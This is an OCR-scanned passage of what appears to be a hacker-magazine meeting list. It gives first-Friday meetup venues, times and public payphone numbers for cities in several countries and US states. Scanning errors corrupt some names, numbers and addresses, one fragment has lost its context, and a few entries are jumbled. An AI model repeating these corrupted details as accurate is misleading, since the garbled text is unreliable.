Rock Cate, Strandgata 1 4 ,  6 pm. 
Trondhelm: Rick's Cafe in Nordre­
gate. 6 pm. 

PERU 
lima: Barbilonia (ex Apu Bar), en 
Alcanfores 455, Miraflores, at the end 
of Tarata SI. 8 pm. 

SCOTLANO 
Glasgow: Central Station, pay­
phones next to Platfonn 1 .  7 pm. 

SOUTH AFRICA 
Johannesburg (Sandton CHy): 
Sandton food court. 6:30 pm. 

SWEDEN 
Gothenburg: 2nd floor in E:iurger 
King at Avenyn. 6 pm. 
Stockholm: Outside Lava. 

SWITZERLAND 
Lausanne: In front of the MaeDa 
beside the train station. 

UNITED STATES 

Alabama 
Auburn: The student lounge upstairs 
in the Foy Union Building. ? pm. 
Huntsville: Stanlieo's Sub Villa on 
Jordan Lane. 
Tuscaloosa: McFarland Mall food 
court near the front entrance. 

Arizona 
Tucson: Borders in the Pal"k. Mall. 
7 pm. 

California 
Irvine: Panera Bread, 3988 Barranca 
Parkway. 
Los Angeles: Union Statioh, 
comer of Macy & Alameda. Inside 
main entrance by bank of Phones. 
Payphones: (21 3) 972-95 1 Q ,  9520 ; 
625-9923, 9924; 6 1 3-9704, 9746. 
Sacramento: Round Table Pizza at 
1 27 K St. 
San Diego: Regents Pizza, 41 50 
Regents Park Row #1 70. 
San Francisco: 4 Embarca,dero 
Plaza (inside). Payphones: (41 5) 
398-9803, 9804, 9805, 9806. 
5:30 pm. 
San Jose: Outside the cafe at the 
MLK Library at 4th and E .  San 
Fernando. 6 pm, 

Colorado 
Boulder: Wing Zone food Court, 1 3th 
and College. 6 pm. 
Denver: Borders Cafe, Parker and 
Arapahoe. 

District of Columbia 
Arlington: Pentagon City Mall in the 
food court (near Au Bon Pain) _  6 pm. 

Florida 
Ft. laUderdale: Broward Man in the 

ClujtloIIe: South Park Mall food 
Georgia court 7 pm 

Atlanta: lenox Mall food court. 7 p!p:"_, ��I::� �=!�:::: ��:_ 
Idaho 

Boise: BSU Student Union Building, 
upstairs from the main entrance. 
Payphones: (208) 342·9700, 9701 . 
Pocateflo, College Market, 604 
Soulh 81h St. 

I l l inois 
Chicago: Neighborhood Boys and 
Girls Club, 2501 W Irving Park 
Rd. 7 pm. 

Indiana 
evansville: Barnes and Noble cafe 
at 624 S Green River Rd. 
Ft. Wayne: Glenbrook Mall food court 
in front of Sbarro's. 6 pm. 
Indianapolis: Corner COffee, SW 
comer of 1 1 th and Alabama. 
South Bend (Mishawaka): Bames 
and Noble cafe, 4601 Grape Rd. 

low. 
Ames: Memorial Union Building food 
court at the Iowa State University. 

Kansas 
Kansas City (Overland Park): Oak 
Park Mall food court. 
Wichita: Riverside Perk, 1 1 44 
Bitting Ave. 

louisiana 
Baton Rouge: In the LSU Unkm 
Building, between the Tiger Pause & 
McDonald's. 6 pm. 
New Orteans: Z'otz COffee House 
uptown at 821 0 Oak Street. 6 pm. 

Maine 
Portland: Maine Mall by the bench at 
the food court door. 

Maryland 
Baltimore: Barnes & Noble cafe at 
the Inner Harbor. 

Massachusetts 
Boston: Prudential Center Plaza, 
terrace food court at the tables near 
the windows. 6 pm. 
Marlborough: Solomon Park Mall 
food court. 
Northampton: Downstairs of Hay­
market Cafe. 6:30 pm. 

Michigan 
Ann Arbor: Starbucks in The Galleria 
on South University. 

Minnesota 
Bloomington: Mall of America, north 
side food court, across from Burger 
King & the bank of payphones that 
don't take incoming calls. 

Missouri 
Kansas City (Independence): 
Barnes & Noble, 1 91 20 East 39th SI. 
St. louis: Galleria Food Court. 
Springfield: Borders Books and 
Music coffeeshop, 3300 South 
Glenstone Ave., one block south of 
Battlefield Mall. 5:30 pm. 

Nebraska 
Omaha: Crossroads Mall Food 
Court. 7 pm. 

Nevada 
Las Vegas: Coffee Bean Tea Leaf 
coffee shop, 4550 S. Maryland 
Pkwy. 7 pm. 

New Mexico 
Albuquerque: University of New 
Mexico Student Union Building (plaza 
"lower" level lounge), main campus. 
Payphones: 505-843�9033, 505�843-
9034. 5:30 pm. 

ars Sports Bar and across from 
Meredith College). 

North Dakota 
Fargo: West Acres Mall food court by 
the Taco John's. 

Ohio 
Cincinnati: The Brew House, 1 047 
East McMillan. 7 pm. 
Cleveland: University Circle Arabica, 
1 1 300 Juniper Rd. Upstairs, tum 
right, second room on left. 
Columbus: Convention center on 
street level around the comer from 
the food court. 
Dayton: TGI Friday's off 725 by Ihe 
Dayton Mall. 

Oklahoma 
Oldahoma City: Cafe Bella, south­
east comer of SW 89th St. and Penn. 
Tulsa: Promenade Mall food court. 

Oregon 
Portland: Backspace Cafe, 1 1 5  NW 
51hAve. 6 pm. 

Pennsylvania 
Allentown: Panera Bread, 3 1 00 
West Tilghman St. 6 pm. 
Philadelphia: 30th St. Station, south­
east food court near mini post office. 

South Carolina 
Charleston: Northwoods Mall in the 
hall between Sears and Chik-Fil-A. 

South Dakota 
Sioux Falls: Empire Mall, by Burger 
King. 

Tennessee 
Knoxvtlla: Borders Books Cafe 
across from Westown Mall. 
Memphis: Atlanta Bread CO., 4770 
Poplar Ave. 6 pm. 
Nashville: J-J's Market, 1 9 1 2  
Broadway. 6 pm. 

Texas 
Austin: Spider House Cafe, 2908 
Fruth St. 7 pm. 
Houston: Ninfa's Express in front of 
Nordstrom's in the Galleria Mall. 
San Antonio: North Star Mall food 
court. 6 pm. 

Utah 
Salt Lake City: ZCMI Mall in The 
Park Food Court. 

Vermont 
Burlington: Borders Books at 
Church St. and Cherry St. on the 
second floor of the cafe. 

Virginia 
Arlington: (see District of Columbia) 
Virginia Beach: Lynnhaven Mall on 
Lynnhaven Parkway. 6 pm. 

Washington 
Seattle: Washington State Conven­
tion Center. 2nd level, south side, 
6 pm. 

Wisconsin 
Madison: Union South (227 N. 
Randall Ave.) on the lower level in 
the Martin Luther King Jr. Lounge. 
Payphone: (608) 251 -9909. 

All meetings take place on the 
first Friday of the month. Unless 
otherwise noted, they start at 5 pm 
local time. To start a meeting in 
your city, send email to 
meetings@2600.com. 
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